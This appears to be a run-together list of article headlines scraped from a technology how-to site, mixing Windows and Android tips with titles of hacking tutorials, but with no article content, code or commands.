Requests & Hack Remote RoutersHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Hack Windows 7 (Become Admin)News:If You Can't Open Your iPhone's Photos on a PC, Try This AppHow To:Bring Back Microsoft's Classic, No-Bloat Games to Windows for FreeHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHow To:Use Your Android Device as a Second Monitor for Your Windows PCHow To:Get Back the Classic Look & Feel of Explorer in Windows 10How To:Mirror & Control Your Android's Screen on Your Windows PCHow To:The Fastest Way to Transfer Photos & Videos from Your iPhone to Your Windows 10 PCNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHow To:Cast Your Samsung Galaxy's Screen to Your Windows PCHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyNews:HoloLens Can Now Wirelessly Tap Rendering Power of Any Desktop PC via UWP Apps Built in UnityHow To:Disable the Lock Screen on Windows 10How To:Set Up OneDrive to Sync Files Across All of Your Devices on Windows 10How To:Get Your Computer Ready for the Windows 10 UpdateHow To:Use Your Android Phone as a Wireless Flash Drive for Windows or MacAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Get Windows Mixed Reality Before the Creators Update Drops April 11How To:Use & Customize the New Start Menu in Windows 10How To:How Anyone (Even Pirates) Can Get Windows 10 for Free—LegallyHow To:Use Charles Proxy to View the Data Your Mobile Apps Send & ReceiveHow To:Hide Your IP Address with a Proxy ServerHow To:Create a Windows 10 Installation DiskHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:A WORD TO THE WISE ABOUT REMOVING INTERNET EXPLORERNews:STANDP'S TOP LIST OF GREATEST SOFTWARES HE USES *NOW* & ALWAYS...News:VARIOUS WINDOWS ISSUES RESOLVED BELOW...